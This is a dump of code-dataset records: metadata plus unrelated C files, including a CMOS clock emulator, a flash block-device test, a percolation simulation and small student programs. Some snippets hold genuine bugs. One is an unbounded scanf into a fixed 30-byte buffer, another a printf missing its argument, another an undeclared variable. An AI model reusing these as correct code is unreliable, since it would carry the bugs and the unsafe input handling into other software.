uint32 _strnum_f64toa(float64 d, uint8 dest[STRNUM_FPBUF]);
uint32 _strnum_f32toa(float32 f, uint8 dest[STRNUM_FPBUF]);
// low level interface -- gets digits and exponent only
int32 _strnum_grisu2_32(float32 f, uint8* digits, int32* K);
int32 _strnum_grisu2_64(float64 d, uint8* digits, int32* K);
CX_C_END
| 2.5 | 2 |
2024-11-18T22:21:46.940653+00:00 | 2017-06-24T21:12:35 | 84fcb7ae6cf0f04229232a19fc71e83aabf91d49 | {
"blob_id": "84fcb7ae6cf0f04229232a19fc71e83aabf91d49",
"branch_name": "refs/heads/master",
"committer_date": "2017-06-25T08:05:52",
"content_id": "98f512ceec04d37c9b85bf9058edf7a5cfc446df",
"detected_licenses": [
"MIT"
],
"directory_id": "33ac4de0af9812c813e783a13ce34dee6fab1367",
"extension": "c",
"filename": "cmos.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3372,
"license": "MIT",
"license_type": "permissive",
"path": "/hw/isa/cmos.c",
"provenance": "stackv2-0123.json.gz:4340",
"repo_name": "liangxianlong/minion",
"revision_date": "2017-06-24T21:12:35",
"revision_id": "3bd7cf5ece1cf41424cc8dacfe935538f452c5e9",
"snapshot_id": "7c79d66948d923cc3b3ef24454a3366fdfb4cc24",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/liangxianlong/minion/3bd7cf5ece1cf41424cc8dacfe935538f452c5e9/hw/isa/cmos.c",
"visit_date": "2020-06-09T11:00:34.144511"
} | stackv2 | #include <stdint.h>
#include <time.h>
#include <sys/time.h>
#include "hw/isa/isa.h"
#include "caos/log.h"
#include "hw/isa/cmos.h"
#define DEC2BCD(x) ( ((x/10)<<4) | (x % 10) )
#define BS_STATUSB_BCDBIN 2
#define BS_STATUSB_24H 1
typedef struct {
uint8_t indexreg;
struct {
int divider;
int rate;
uint8_t statusB;
uint8_t statusC;
uint8_t statusD;
} rtc;
} ctx_t;
/*
* Gets the current (local) time for RTC representation
*/
static struct tm *getTime(void) {
time_t rawtime;
struct tm * timeinfo;
time(&rawtime);
timeinfo = localtime(&rawtime);
return timeinfo;
}
uint8 bin2bcd(ctx_t *pCtx,uint8 val) {
if( pCtx->rtc.statusB & (1<<BS_STATUSB_BCDBIN) )
return val;
val = DEC2BCD(val);
return val;
}
static uint8_t cmos_inb(struct isa_handler *hdl,uint16_t port) {
ctx_t *pCtx = (ctx_t*)hdl->opaque;
uint8_t ret;
port -= hdl->base;
//LOG("CMOS read from register 0x%x",pCtx->indexreg);
if( pCtx->indexreg == 0x00 ) { // RTC - Seconds
struct tm *tiin = getTime();
ret = tiin->tm_sec;
//LOG("Returned SECOND=%u",ret);
ret = bin2bcd(pCtx,ret);
return ret;
} else if( pCtx->indexreg == 0x02 ) { // RTC - Minutes
struct tm *tiin = getTime();
ret = tiin->tm_min;
//LOG("Returned MINUTE=%u",ret);
ret = bin2bcd(pCtx,ret);
return ret;
} else if( pCtx->indexreg == 0x04 ) {
struct tm *tiin = getTime();
ret = tiin->tm_hour;
if( !(pCtx->rtc.statusB & (1<<BS_STATUSB_24H)) ) { // 24-hour time?
if( ret > 12 ) {
ret = 0x80 | bin2bcd(pCtx,ret-12);
return ret;
}
}
ret = bin2bcd(pCtx,ret);
return ret;
} else if( pCtx->indexreg == 0x07 ) { // RTC - Day in month
struct tm *tiin = getTime();
ret = tiin->tm_mday;
//LOG("Returned DAY=%u",ret);
ret = bin2bcd(pCtx,ret);
return ret;
} else if( pCtx->indexreg == 0x08 ) { // RTC - Month
struct tm *tiin = getTime();
ret = tiin->tm_mon + 1;
//LOG("Returned MONTH=%u",ret);
ret = bin2bcd(pCtx,ret);
return ret;
} else if( pCtx->indexreg == 0x09 ) { // RTC - Year (Since 1900 or 2000)
struct tm *tiin = getTime();
ret = tiin->tm_year;
if( ret >= 100 ) ret -= 100;
//LOG("Returned YEAR=%u",ret);
ret = bin2bcd(pCtx,ret);
return ret;
} else if( pCtx->indexreg == 0x0A ) { // Status register A (Time freq div/rate)
ret = 0;
pCtx->rtc.divider = 32768;
pCtx->rtc.rate = 1024;
if( pCtx->rtc.rate == 1024 )
ret |= 6;
else
ASSERT(0,"Lazy coder error");
if( pCtx->rtc.divider == 32768 )
ret |= 1<<5;
else
ASSERT(0,"Lazy coder error");
return ret;
} else if( pCtx->indexreg == 0x0B ) { // RTC Status reg B
return pCtx->rtc.statusB;
} else if( pCtx->indexreg == 0x0C ) { // RTC Status reg C
return pCtx->rtc.statusC;
} else {
LOG("CMOS read (unahandled) from register 0x%x",pCtx->indexreg);
}
return 0xFF;
}
static void cmos_outb(struct isa_handler *hdl,uint16_t port,uint8_t val) {
ctx_t *pCtx = (ctx_t*)hdl->opaque;
port -= hdl->base;
if( port == 0x00 ) {
pCtx->indexreg = val & ~0x80; // Top bit determines if NMI is enabled or not
return;
} else {
// LOG("CMOS write to register 0x%x",pCtx->indexreg);
}
}
int hw_isa_cmos_init(void) {
static struct isa_handler hdl;
static ctx_t ctx;
hdl.base = 0x70;
hdl.mask = 0xFE;
hdl.inb = cmos_inb;
hdl.outb = cmos_outb;
hdl.opaque = &ctx;
hw_isa_register_handler(&hdl);
return 0;
}
| 2.5 | 2 |
2024-11-18T22:21:47.233153+00:00 | 2018-12-22T17:58:52 | defbf5f67445662f15bda169d47e685a39f0f22b | {
"blob_id": "defbf5f67445662f15bda169d47e685a39f0f22b",
"branch_name": "refs/heads/master",
"committer_date": "2018-12-22T17:58:52",
"content_id": "0620e18786af001ddd2d745a1c9972133b6b85e2",
"detected_licenses": [
"CC0-1.0"
],
"directory_id": "a92ff14be400c36b93d3cca5c27a7def17963665",
"extension": "c",
"filename": "main.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 420,
"license": "CC0-1.0",
"license_type": "permissive",
"path": "/src/main.c",
"provenance": "stackv2-0123.json.gz:4598",
"repo_name": "valerable/sfmalloc",
"revision_date": "2018-12-22T17:58:52",
"revision_id": "a4f87151bbe4b0dfd1364ffadf45e17cf0e83db6",
"snapshot_id": "19177098357b3692c86963eee6a4df09754985e5",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/valerable/sfmalloc/a4f87151bbe4b0dfd1364ffadf45e17cf0e83db6/src/main.c",
"visit_date": "2021-10-09T06:40:44.605847"
} | stackv2 | #include <stdio.h>
#include "sfmm.h"
int main(int argc, char const *argv[]) {
sf_mem_init();
void *x = sf_mem_end();//JUST TO INITIALIZE ITS VALUE
do{
x = sf_malloc(PAGE_SZ);//run malloc until we have run out of heap
}
while(x != NULL );
// double* ptr = sf_malloc(4048);
// *ptr = 320320320e-320;
// printf("%e\n", *ptr);
// sf_free(ptr);
sf_mem_fini();
return EXIT_SUCCESS;
}
| 2.484375 | 2 |
2024-11-18T22:21:47.513302+00:00 | 2015-10-26T13:24:25 | adf1d4291dd997944124fedf48835d991ab26d82 | {
"blob_id": "adf1d4291dd997944124fedf48835d991ab26d82",
"branch_name": "refs/heads/master",
"committer_date": "2015-10-26T13:24:25",
"content_id": "574df49dbaead8175fcf38b45842b20d2b8182c1",
"detected_licenses": [
"CC0-1.0"
],
"directory_id": "a9c92149158618fe6d7ace2d30213d497deb6462",
"extension": "c",
"filename": "ola.c",
"fork_events_count": 2,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 41302877,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 437,
"license": "CC0-1.0",
"license_type": "permissive",
"path": "/aula11/ola.c",
"provenance": "stackv2-0123.json.gz:4726",
"repo_name": "masmangan/arcadian-octo-kumquat",
"revision_date": "2015-10-26T13:24:25",
"revision_id": "9a438a53f360ed41e8321542519775f9e6995647",
"snapshot_id": "33af478d537b13460a8922abbfee9ad229eb42ba",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/masmangan/arcadian-octo-kumquat/9a438a53f360ed41e8321542519775f9e6995647/aula11/ola.c",
"visit_date": "2021-01-13T01:48:18.153578"
} | stackv2 | #include <stdio.h>
#include <string.h>
int main()
{
char nome[30];
char vocativo[60];
printf("Qual é o seu nome?\n");
scanf("%s", nome); // sem & ...
printf("Olá, %s!\n", nome);
printf("Seu nome tem %zu letras.\n", strlen(nome) );
//vocativo = "Sr.";
//vocativo = vocativo + nome;
strcpy(vocativo, "Sr.");
strcat(vocativo, " ");
strcat(vocativo, nome);
printf("Prazer em conhecê-lo, %s.\n", vocativo );
return 0;
}
| 3.453125 | 3 |
2024-11-18T22:21:47.994389+00:00 | 2020-10-19T14:46:08 | ad062387a76636fb752dbf13041046ed363544e4 | {
"blob_id": "ad062387a76636fb752dbf13041046ed363544e4",
"branch_name": "refs/heads/master",
"committer_date": "2020-10-19T14:46:08",
"content_id": "ea6b797ad332fe19dcfbbc790b2fe7ae7b16dd8c",
"detected_licenses": [
"MIT"
],
"directory_id": "c33d9da6817732bc9663ec58553bf0314300f3e8",
"extension": "h",
"filename": "string_utils.h",
"fork_events_count": 0,
"gha_created_at": "2020-10-21T12:46:26",
"gha_event_created_at": "2020-10-21T12:46:27",
"gha_language": null,
"gha_license_id": "MIT",
"github_id": 306021979,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1433,
"license": "MIT",
"license_type": "permissive",
"path": "/src/gl/string_utils.h",
"provenance": "stackv2-0123.json.gz:5116",
"repo_name": "nillerusr/gl4es",
"revision_date": "2020-10-19T14:46:08",
"revision_id": "33e3e32038871c76cd3a0a403b1709e60e268635",
"snapshot_id": "4489d48a22b56592990b2d17b19f6052fd61d31a",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/nillerusr/gl4es/33e3e32038871c76cd3a0a403b1709e60e268635/src/gl/string_utils.h",
"visit_date": "2023-02-18T18:39:45.348468"
} | stackv2 | #ifndef _GL4ES_STRING_UTILS_H_
#define _GL4ES_STRING_UTILS_H_
extern const char* AllSeparators;
const char* FindString(const char* pBuffer, const char* S);
char* FindStringNC(char* pBuffer, const char* S);
int CountString(const char* pBuffer, const char* S);
char* ResizeIfNeeded(char* pBuffer, int *size, int addsize);
char* InplaceReplace(char* pBuffer, int* size, const char* S, const char* D);
char* Append(char* pBuffer, int* size, const char* S);
char* InplaceInsert(char* pBuffer, const char* S, char* master, int* size);
char* GetLine(char* pBuffer, int num);
int CountLine(const char* pBuffer);
int GetLineFor(const char* pBuffer, const char* S); // get the line number for 1st occurent of S in pBuffer
char* StrNext(char *pBuffer, const char* S); // mostly as strstr, but go after the substring if found
//"blank" (space, tab, cr, lf,":", ",", ";", ".", "/")
char* NextStr(char* pBuffer); // go to next non "blank"
char* NextBlank(char* pBuffer); // go to next "blank"
char* NextLine(char* pBuffer); // go to next new line (crlf not included)
const char* GetNextStr(char* pBuffer); // get a (static) copy of next str (until next separator), can be a simple number or separator also
// those function don't try to be smart with separators...
int CountStringSimple(char* pBuffer, const char* S);
char* InplaceReplaceSimple(char* pBuffer, int* size, const char* S, const char* D);
#endif // _GL4ES_STRING_UTILS_H_
| 2.140625 | 2 |
2024-11-18T22:21:48.540261+00:00 | 2019-10-09T11:32:37 | ac4cde014c6831435020d8e7a35ba7cee350bc71 | {
"blob_id": "ac4cde014c6831435020d8e7a35ba7cee350bc71",
"branch_name": "refs/heads/master",
"committer_date": "2019-10-09T11:32:37",
"content_id": "93b59988d898f582a33d3b6cbd44b0b1a58be9bb",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "b7e5f96caebf95e0d11d3c1f9f25f49d249a2c76",
"extension": "c",
"filename": "block_dev_test.c",
"fork_events_count": 0,
"gha_created_at": "2019-10-10T11:48:31",
"gha_event_created_at": "2019-10-10T11:48:33",
"gha_language": null,
"gha_license_id": "NOASSERTION",
"github_id": 214168972,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3163,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/src/cmds/testing/block_dev/block_dev_test.c",
"provenance": "stackv2-0123.json.gz:5887",
"repo_name": "CherepanovAleksei/embox",
"revision_date": "2019-10-09T11:32:37",
"revision_id": "3bfdfaf28635a6c6dc1799ea893a262c64245566",
"snapshot_id": "3294b59c403f109308c99e7b887c704af866fd29",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/CherepanovAleksei/embox/3bfdfaf28635a6c6dc1799ea893a262c64245566/src/cmds/testing/block_dev/block_dev_test.c",
"visit_date": "2020-08-09T20:35:56.337043"
} | stackv2 | /**
* @file
* @brief Simple test for r/w operation on block device
*
* @author Alexander Kalmuk
* @date 15.08.2019
*/
#include <unistd.h>
#include <assert.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <framework/mod/options.h>
#include <drivers/flash/flash.h>
#include <module/embox/driver/block_common.h>
#define MAX_BDEV_QUANTITY \
OPTION_MODULE_GET(embox__driver__block_common, NUMBER, dev_quantity)
static void print_help(void) {
printf("Usage: block_dev_test [-hl] [-i iters] <block device name>\n");
printf("\t-l : Print all available block and flash devices\n");
printf("\t-i <iters>: Execute <iters> itertions of read/write\n");
}
static void print_block_devs(void) {
int i;
struct block_dev **bdevs;
bdevs = get_bdev_tab();
assert(bdevs);
printf("Block devices:\n");
printf(" id | name\n");
for (i = 0; i < MAX_BDEV_QUANTITY; i++) {
if (bdevs[i]) {
printf("%4d | %s\n", bdevs[i]->id, bdevs[i]->name);
}
}
printf("\n");
}
static struct flash_dev *get_flash_dev(struct block_dev *bdev) {
int i = 0;
struct flash_dev *fdev;
while (1) {
fdev = flash_by_id(i++);
if (!fdev) {
break;
}
if (!strcmp(fdev->bdev->name, bdev->name)) {
return fdev;
}
}
return NULL;
}
static int flash_dev_test(struct flash_dev *fdev) {
#define FLASH_RW_LEN 256
int i, j;
int offset;
uint8_t rbuf[FLASH_RW_LEN];
uint8_t wbuf[FLASH_RW_LEN];
for (i = 0; i < FLASH_RW_LEN; i++) {
wbuf[i] = 0x55;
}
/* Iterate over all flash blocks */
for (i = 0; i < fdev->block_info[0].blocks; i++) {
flash_erase(fdev, i);
offset = i * fdev->block_info[0].block_size;
/* Write, then read back and check result */
for (j = 0; j < fdev->block_info[0].block_size; j += FLASH_RW_LEN) {
/* Clean rbuf first */
memset(rbuf, 0x0, FLASH_RW_LEN);
flash_write(fdev, offset, wbuf, FLASH_RW_LEN);
flash_read(fdev, offset, rbuf, FLASH_RW_LEN);
if (0 != memcmp(wbuf, rbuf, FLASH_RW_LEN)) {
printf("Flash device test failed:\n");
printf(" fdev=%s, block=%d, offset within block=%d\n",
fdev->bdev->name, i, j);
return -1;
}
offset += FLASH_RW_LEN;
}
}
return 0;
#undef FLASH_RW_LEN
}
static int block_dev_test(const char *name) {
struct block_dev *bdev;
struct flash_dev *fdev;
bdev = block_dev_find(name);
if (!bdev) {
printf("Block device \"%s\" not found\n");
return -1;
}
fdev = get_flash_dev(bdev);
if (!fdev) {
printf("Only flash block devices are supported\n");
return -1;
}
return flash_dev_test(fdev);
}
int main(int argc, char **argv) {
int opt;
int i, iters = 1;
if (argc < 2) {
print_help();
return 0;
}
while (-1 != (opt = getopt(argc, argv, "hli:"))) {
switch (opt) {
case 'l':
print_block_devs();
return 0;
case 'i':
iters = strtol(argv[optind], NULL, 0);
break;
case 'h':
default:
print_help();
return 0;
}
}
printf("Starting block device test (iters = %d)...\n", iters);
for (i = 0; i < iters; i++) {
printf("iter %d...\n", i);
if (block_dev_test(argv[argc - 1]) < 0) {
printf("FAILED\n");
return -1;
}
}
printf("OK\n");
return 0;
}
| 2.90625 | 3 |
2024-11-18T22:21:48.736980+00:00 | 2019-12-01T09:43:30 | 743ef94069382e7f9d8b000ac81b9a5e79fb6b61 | {
"blob_id": "743ef94069382e7f9d8b000ac81b9a5e79fb6b61",
"branch_name": "refs/heads/master",
"committer_date": "2019-12-01T09:43:30",
"content_id": "0f74d2300bffd5bbc7e532e65f2ff20c9621d988",
"detected_licenses": [
"MIT"
],
"directory_id": "64f391f6c126371d7d186cecbef7e96efe426046",
"extension": "c",
"filename": "cap17_02.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 211052624,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4003,
"license": "MIT",
"license_type": "permissive",
"path": "/C_EXAMPLES/ESEMPI_DEL_LIBRO/cap17/cap17_02.c",
"provenance": "stackv2-0123.json.gz:6015",
"repo_name": "lsoffi/EsperienzeDiLaboratorioDiCalcolo201920",
"revision_date": "2019-12-01T09:43:30",
"revision_id": "7a2a821b37cc8dfca527e9afb639a86a8e6c759b",
"snapshot_id": "9feb5495ba92c63557e5cf8dca3582f267b8c4ea",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/lsoffi/EsperienzeDiLaboratorioDiCalcolo201920/7a2a821b37cc8dfca527e9afb639a86a8e6c759b/C_EXAMPLES/ESEMPI_DEL_LIBRO/cap17/cap17_02.c",
"visit_date": "2020-08-01T16:53:04.708893"
} | stackv2 | /*
cap17_percRandGraph.c: A program for studying the percolation phenomenon on random graphs.
Copyright (C) 2006 Federico Ricci-Tersenghi (Federico.Ricci@roma1.infn.it)
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
This program has been extracted from "Programmazione Scientifica",
Pearson Education ed. (2006), by Barone, Marinari, Organtini and
Ricci-Tersenghi. ISBN 8871922425.
*/
/* by FRT */
#include <stdio.h>
#include <stdlib.h>
#define N 10000
#define FNORM (2.3283064365e-10)
#define RANDOM ((ira[ip++] = ira[ip1++] + ira[ip2++]) ^ ira[ip3++])
#define FRANDOM (FNORM * RANDOM)
struct connComp {
struct connComp *parent;
unsigned size;
} comp[N];
void initRandom(void);
unsigned randForInit(void);
void error(char *);
struct connComp *componentOf(struct connComp *);
unsigned mergeComp(struct connComp *, struct connComp *);
/* variabili per il generatore random */
unsigned myrand, ira[256];
unsigned char ip, ip1, ip2, ip3;
int main(int argc, char *argv[]) {
unsigned i, is, numSamples, site1, site2, largestClusSize, newSize;
unsigned long long meanClusSize; /* taglia media moltiplicata per N */
struct connComp *pComp1, *pComp2;
if (argc != 3) {
fprintf(stderr, "usage: %s <n_samples> <seed>\n", argv[0]);
exit(EXIT_FAILURE);
}
numSamples = (unsigned)atoi(argv[1]);
myrand = (unsigned)atoi(argv[2]);
if (myrand == 2147483647)
error("seed must be less than 2147483647");
printf("# percolazione su grafo random\n");
printf("# N = %u random seed = %u\n", N, myrand);
printf("# conn mean_clus_size largest_clus_size\n");
initRandom();
for (is = 0; is < numSamples; is++) {
for (i = 0; i < N; i++) {
comp[i].parent = comp + i;
comp[i].size = 1;
}
meanClusSize = N;
largestClusSize = 1;
for (i = 1; i <= N; i++) {
site1 = (unsigned)(FRANDOM * N);
pComp1 = componentOf(comp + site1);
do {
site2 = (unsigned)(FRANDOM * N);
} while (site2 == site1);
pComp2 = componentOf(comp + site2);
if (pComp1 != pComp2) {
meanClusSize += 2 * (unsigned long long)pComp1->size * pComp2->size;
newSize = mergeComp(pComp1, pComp2);
if (newSize > largestClusSize) {
largestClusSize = newSize;
}
}
if (i % (N / 100) == 0) {
printf("%f %f %f\n", 2.*(float)i/N,
(float)meanClusSize/N, (float)largestClusSize/N);
fflush(stdout);
}
}
printf("\n");
}
return EXIT_SUCCESS;
}
void initRandom(void) {
int i;
ip = 128;
ip1 = ip - 24;
ip2 = ip - 55;
ip3 = ip - 61;
for (i = ip3; i < ip; i++)
ira[i] = randForInit();
}
unsigned randForInit(void) {
unsigned long long y;
y = myrand * 16807LL;
myrand = (y & 0x7fffffff) + (y >> 31);
if (myrand & 0x80000000)
myrand = (myrand & 0x7fffffff) + 1;
return myrand;
}
void error(char* string) {
fprintf(stderr, "ERROR: %s\n", string);
exit(EXIT_FAILURE);
}
struct connComp *componentOf(struct connComp *pComp) {
while (pComp->parent != pComp) pComp = pComp->parent;
return pComp;
}
unsigned mergeComp(struct connComp *pComp1, struct connComp *pComp2) {
if (pComp1->size < pComp2->size) {
pComp1->parent = pComp2;
pComp2->size += pComp1->size;
return pComp2->size;
} else {
pComp2->parent = pComp1;
pComp1->size += pComp2->size;
return pComp1->size;
}
}
| 2.625 | 3 |
2024-11-18T22:21:49.019776+00:00 | 2019-05-29T14:49:50 | 6b94d02eedfdb75df668c2b32fc650f70de987a2 | {
"blob_id": "6b94d02eedfdb75df668c2b32fc650f70de987a2",
"branch_name": "refs/heads/master",
"committer_date": "2019-05-29T14:49:50",
"content_id": "041b5e05e4f6717da26fdbd669ac961ebbb0fd80",
"detected_licenses": [
"MIT"
],
"directory_id": "05c12fafd74aec9a3b0a840cb0818f3dd619e702",
"extension": "c",
"filename": "main.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 189219902,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 493,
"license": "MIT",
"license_type": "permissive",
"path": "/main.c",
"provenance": "stackv2-0123.json.gz:6402",
"repo_name": "marcosrrosa/my-repository",
"revision_date": "2019-05-29T14:49:50",
"revision_id": "7ca31360f7941ec58a8f7175ecec77c2f1c6b3ad",
"snapshot_id": "dbd73f176231a40217be590e87da476d8a323766",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/marcosrrosa/my-repository/7ca31360f7941ec58a8f7175ecec77c2f1c6b3ad/main.c",
"visit_date": "2020-05-29T15:25:12.515857"
} | stackv2 | #include<stdio.h>
int main(){
int n1, n2, A;
int res;
//entrada
printf("Digite o primeiro numero inteiro:");
scanf("%d",&n1);
printf("Digite o segundo numero:");
scanf("%d",&n2);
printf("Digite 0 para soma e 1 para subtração:");
scanf("%d",&n);
switch(n){
case 0:
printf("Soma: %d\n",n1+n2);
break;
case 1:
printf("função de subtração escolhida!\n");
res = n1 - n2;
printf("O resultado da subtração é de : %d\n", res);
break;
default: break;
}
return 0;
}
| 3.421875 | 3 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.